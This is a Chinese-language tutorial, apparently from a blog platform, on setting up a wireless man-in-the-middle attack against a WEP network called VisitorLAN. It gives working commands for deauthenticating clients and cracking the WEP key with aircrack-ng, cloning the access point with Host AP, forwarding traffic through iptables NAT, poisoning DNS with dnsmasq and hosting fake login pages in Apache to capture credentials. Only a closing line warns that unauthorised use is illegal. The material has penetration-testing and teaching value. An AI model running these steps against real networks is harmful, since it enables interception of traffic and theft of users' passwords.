利用中间人攻击获取优势
1. 中间人攻击概述
中间人(MITM)攻击允许攻击者在无线客户端不知情的情况下,拦截和修改无线通信流量。这种攻击的主要目标是在无线渗透测试期间获取用户账户凭证,常用于捕获基于Web应用的用户账户信息、明文传输的密码,以及嗅探和破解Windows密码哈希。
1.1 MITM攻击设计
一个基本的MITM攻击将无线客户端连接到攻击者的接入点,然后将流量转发到真实的(授权的)接入点。典型的MITM设计包含以下组件:
-
目标接入点(AP)
:无线渗透测试的对象,许多组织会为员工部署多个接入点。
-
受害者(无线客户端)
:最初连接到目标AP,在攻击期间会被断开并重新连接到攻击者设置的MITM AP。
-
MITM攻击平台
:为原本连接到目标AP的无线客户端提供接入点功能,其配置与目标AP几乎相同,使客户端难以区分。
1.2 MITM攻击变量
要成功对无线网络进行MITM攻击,需要考虑以下变量:
- 目标AP的配置,特别是为防止未经授权访问而启用的安全功能。
- 在攻击开始前,需要完成以下任务:
- 定位一个或多个已连接无线客户端的AP。
- 识别目标接入点上启用的安全控制和加密方案。
- 绕过安全控制并连接到目标接入点。
graph LR
classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;
A([开始]):::startend --> B(定位AP):::process
B --> C(识别安全控制):::process
C --> D{能否绕过安全控制?}:::decision
D -->|是| E(连接到目标AP):::process
D -->|否| F(终止攻击):::process
E --> G([结束]):::startend
F --> G
2. 攻击所需硬件
成功执行MITM攻击需要多种硬件和一些关键软件程序。典型的MITM攻击平台使用以下硬件组件:
| 硬件组件 | 说明 |
| ---- | ---- |
| 笔记本电脑 | 具有两个PCMCIA插槽,或一个PCMCIA和一个mini - PCI插槽 |
| 两个无线网卡 | 一个用于提供接入点功能,需支持Host AP模式;另一个用于连接目标AP |
| 外部天线 | 建议使用全向天线 |
| 双向放大器(可选) | 用于增强信号 |
| 尾纤 | 连接外部天线、放大器和无线网卡 |
| 手持全球定位系统(GPS)单元(可选) | 帮助识别目标接入点的位置 |
| 电源逆变器 | 为设备供电 |
2.1 笔记本电脑
笔记本电脑作为目标AP的克隆,为目标无线网络提供连接,并运行Web服务器以托管攻击期间发现的任何伪造网站。因此,笔记本电脑应具备处理内存密集型任务的能力。
2.2 无线网卡
攻击平台需要两个无线网卡:
- 一个无线网卡为无线客户端(受害者)提供接入点功能,必须能够进入Host AP模式(也称为主模式)。
- 第二个无线网卡用于连接目标AP,可以是任何受Linux支持的802.11 B/G卡。
在示例中,使用一个PCMCIA无线网卡和一个mini - PCI无线网卡,均为SENAO/Engenius(Prism2.5芯片组)802.11 b 200mw卡,利用Intersil的站固件支持Host AP模式。PCMCIA无线网卡用于Host AP模式,因为它有两个外部MMCX天线连接器插槽,可连接到放大器和天线;mini - PCI卡有一个U.FL辅助天线连接器,只要与目标接入点有良好的无线信号,就不需要外部天线。连接目标接入点的无线网卡标记为wlan0(内部mini - PCI),提供接入点功能的无线网卡标记为wlan1。
2.3 选择合适的天线
选择合适的天线对于攻击的成功至关重要,主要有两种类型的天线可供考虑:
-
定向天线
:在一个方向上发送和接收无线信号,适用于已知无线设备确切位置的情况。但由于希望向尽可能多的客户端广播信号,定向天线不是一个好选择。不过,如果针对聚集在同一位置的特定无线客户端,定向天线是一个不错的选择。
-
全向天线
:在所有方向上发送和接收无线信号,由于可能不知道无线客户端的连接位置,建议使用全向天线。
2.4 放大无线信号
2.4 GHz放大器用于扩展2.4 GHz无线电设备或AP的范围,与天线配合使用,增强MITM接入点的信号,使其信号强于目标接入点的信号。典型的放大器有两个连接器,根据连接器类型,一个通过MMCX到N - Male尾纤连接到SENAO无线卡,另一个连接到全向天线。
2.5 其他有用的硬件
- DC - AC电源逆变器 :为可能没有汽车电源的设备(如笔记本电脑或放大器)供电。
- GPS接收器 :在攻击的识别阶段,可与Kismet和WarDriving映射程序(如GPSMap)结合使用,帮助识别目标接入点的位置。
3. 识别和攻破目标接入点
在发起MITM攻击之前,需要识别和攻破目标AP,建立连接至关重要,因此需要绕过接入点上启用的任何安全机制。
3.1 识别目标
使用WarDriving技术收集目标的初步数据,对目标区域进行初步扫描,目标是定位一个或多个已连接无线客户端的AP,并识别任何安全控制、加密和/或认证机制。使用Kismet和全向天线,定位到一个连接了无线客户端的目标AP,信息如下:
- 目标网络服务集标识符(SSID):VisitorLAN
- 目标网络基本服务集标识符(BSSID):00:13:10:1E:65:42
- 已连接的无线客户端:00:02:2D:2D:82:36
- 目标网络加密:WEP
- 目标网络IP范围:192.168.1.0/24
3.2 攻破目标
利用WarDriving收集的信息来攻破目标接入点的WEP密钥。要破解WEP密钥,需要知道接入点的BSSID和已连接无线客户端的媒体访问控制(MAC)地址。使用Aircrack - ng工具,可以开始对VisitorLAN接入点的攻击。
- 启动airodump - ng收集WEP初始化向量(IVs)并保存到输出文件:
airodump-ng -w visitorlan -c 6 wlan0
- 打开一个新终端,启动aireplay - ng:
aireplay-ng --arpreplay -b 00:13:10:1E:65:42 -m 68 -n 68 -d ff:ff:ff:ff:ff:ff -h 00:02:2D:2D:82:36 wlan0
- 使用void11断开无线客户端的连接:
void11_penetration -DD -s 00:11:50:C9:43:B6 -B 00:13:10:1E:65:42 -m 50 wlan1
- 使用aircrack - ng尝试破解WEP密钥:
aircrack-ng visitorlan-01.cap
完成上述步骤后,就可以获得连接目标接入点并开始MITM攻击所需的所有信息。
4. MITM攻击笔记本电脑配置
接下来将介绍如何使用Gentoo Linux安装和配置MITM攻击所需的关键工具,大部分为标准Linux命令,适用于大多数流行的Linux发行版。
4.1 内核配置
Linux内核是操作系统的核心,需要对其进行配置以支持IP过滤、网络地址转换(NAT),并启用Host AP内核驱动,使两块无线网卡正常工作。
-
获取内核源代码
:可以从http://www.kernel.org直接获取,也可以使用Linux发行版的包管理工具(在Gentoo系统中,使用
emerge -a gentoo-sources
命令)。这里使用Linux内核2.6.17.4版本。
-
配置和编译内核
:下载并解压内核源代码后,在
/usr/src/linux
目录下执行
make menuconfig
命令,在配置菜单中选择支持笔记本电脑硬件的驱动模块。
-
添加Host AP驱动到内核
:完成一般内核配置后,需要添加Host AP驱动。Host AP是基于Intersil的Prism2、Prism2.5或Prism3芯片组的无线网卡的Linux驱动,提供802.11b接入点功能。驱动位于“Device Drivers” -> “Network Device Support” -> “Wireless LAN (Non - ham Radio)” -> “Wireless LAN Drivers (Non - hamradio)” -> “Wireless Extensions”。由于使用的是SENAO PCMCIA卡和SENAO mini - PCI卡(Prism2.5),选择相应的内核模块。
-
添加Iptables支持到内核
:启用Host AP驱动后,需要添加对Iptables的支持,它提供IP过滤和NAT功能。相关内核选项位于“Networking” -> “Networking Options” -> “Network Packet Filtering (replaces ipchains)” -> “Core Netfilter Configuration”。选择“Netfilter Xtables Support”选项(ip_tables所需),并导航到“IP: Netfilter Configuration”菜单,选择“IP Tables Support”(过滤、MASQUERADE和NAT所需)、“Full NAT”和“MASQUERADE target support”选项。
配置完成后,保存新的内核选择,执行
make
和
make modules_install
命令,然后将新内核复制到引导位置。在Gentoo中,可以通过以下命令使新创建的Host AP内核模块在启动时加载:
echo hostap >> /etc/modules.autoload.d/kernel-2.6
echo hostap_cs >> /etc/modules.autoload.d/kernel-2.6
echo hostap_pci >> /etc/modules.autoload.d/kernel-2.6
如果不想在启动时加载这些模块,可以在需要时手动插入内核驱动模块:
modprobe hostap
modprobe hostap_cs
modprobe hostap_pci
4.2 设置无线接口
安装无线网卡驱动后,需要配置无线接口以提供适当的连接。
-
wlan0 - 连接到目标网络
:wlan0是内部mini - PCI卡,用于连接目标无线网络。使用以下命令设置无线连接:
ifconfig wlan0 down
iwconfig wlan0 mode Managed ap 00:13:10:1E:65:42
iwconfig wlan0 key 6D617474686577303232333036
ifconfig wlan0 up
dhcpcd wlan0
- wlan1 - 设置接入点 :wlan1是PCMCIA SENAO卡,用作Host AP接入点。使用以下命令将wlan1接口配置为接入点:
ifconfig wlan1 down
iwconfig wlan1 mode Master essid VisitorLAN
iwconfig wlan1 key 6D617474686577303232333036
ifconfig wlan1 192.168.10.1 netmask 255.255.255.0
ifconfig wlan1 up
在Gentoo中,可以将无线网卡配置添加到
/etc/config.d/wireless
文件中,并创建
init.d
网络接口,通过相应命令启动、停止或重启接口。
4.3 IP转发和NAT使用Iptables
安装和配置两个无线网卡接口后,需要启用IP转发和NAT,创建一个无线路由器/网关。
-
安装Iptables和IP转发
:Iptables是用于配置数据包过滤规则集和NAT的命令行程序。在Gentoo系统中,使用
emerge -a net - firewall/iptables
命令安装Iptables,安装完成后,使用
/etc/init.d/iptables start
命令启动服务。通过编辑
/etc/sysctl.conf
文件,将
net.ipv4.ip_forward
变量从0更改为1以启用IP转发。
-
建立NAT规则
:安装Iptables并启用IP转发后,需要建立规则。使用以下命令定义NAT规则:
iptables -F
iptables -t nat -F
iptables -A FORWARD -i wlan0 -s 192.168.1.0/255.255.255.0 -j ACCEPT
iptables -A FORWARD -i wlan1 -s 192.168.10.0/255.255.255.0 -j ACCEPT
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
定义规则后,使用
/etc/init.d/iptables save
命令保存规则,使其在启动时启用。
4.4 Dnsmasq
Dnsmasq是一个轻量级、易于配置的域名系统(DNS)转发器和动态主机配置协议(DHCP)服务器,在攻击平台上有两个重要功能:为连接到接入点的无线客户端提供IP地址,以及监控和毒害DNS查询。
-
安装Dnsmasq
:可以使用Linux发行版的包管理工具或从源代码下载安装。在Gentoo系统中,使用
emerge -a net - dns/dnsmasq
命令安装,安装完成后,使用
/etc/init.d/dnsmasq start
命令启动服务。
-
配置Dnsmasq
:编辑
/etc/dnsmasq.conf
文件进行配置,关键配置选项如下:
interface=wlan1
address=/www.google.com/192.168.10.10
dhcp-range=192.168.10.100,192.168.10.200,255.255.255.0,24h
log-queries
配置完成后,使用
/etc/init.d/dnsmasq start
命令启动Dnsmasq。DHCP和DNS请求记录在
/var/log/messages
文件中,可以使用
grep dnsmasq /var/log/messages | grep –i dhcp
命令监控传入的DHCP请求。
4.5 Apache Hypertext Preprocessor和虚拟Web服务器
Apache是一个多功能、可配置的Web服务器,PHP是一种可嵌入HTML代码的Web开发脚本语言。可以使用它们创建伪造的登录页面来捕获用户凭证。
-
安装和启动Apache和PHP
:可以使用Linux发行版的包管理工具或从源代码下载安装。安装完成后,使用
/etc/init.d/apache2 start
命令启动Apache。
-
创建虚拟Web目录
:为了在Web服务器上托管多个网站,可以在
/etc/apache2/vhosts.d/00_default_vhost.conf
文件中创建虚拟Web目录,示例如下:
<VirtualHost 192.168.10.2:80>
DocumentRoot "/var/www/localhost/htdocs/site1/"
</VirtualHost>
<VirtualHost 192.168.10.3:80>
DocumentRoot "/var/www/localhost/htdocs/site2/"
</VirtualHost>
<VirtualHost 192.168.10.4:80>
DocumentRoot "/var/www/localhost/htdocs/site3/"
</VirtualHost>
为每个IP地址定义虚拟接口:
ifconfig wlan1:0 192.168.10.2 netmask 255.255.255.0
ifconfig wlan1:1 192.168.10.3 netmask 255.255.255.0
ifconfig wlan1:2 192.168.10.4 netmask 255.255.255.0
创建相应的文档根目录后,就可以将无线客户端重定向到虚拟Web服务器。
总结
通过以上步骤,完成了MITM攻击所需的硬件准备、目标接入点的识别和攻破,以及攻击笔记本电脑的配置。以下是整个过程的流程图:
graph LR
classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;
A([开始]):::startend --> B(硬件准备):::process
B --> C(识别目标AP):::process
C --> D(攻破目标AP):::process
D --> E(配置内核):::process
E --> F(设置无线接口):::process
F --> G(启用IP转发和NAT):::process
G --> H(配置Dnsmasq):::process
H --> I(配置Apache和虚拟Web服务器):::process
I --> J([完成配置]):::startend
通过这些配置和操作,可以利用MITM攻击获取用户的敏感信息,但需要注意的是,在未经授权的情况下进行此类攻击是违法的行为,仅可在合法的安全测试环境中使用。
超级会员免费看
2165

被折叠的 条评论
为什么被折叠?



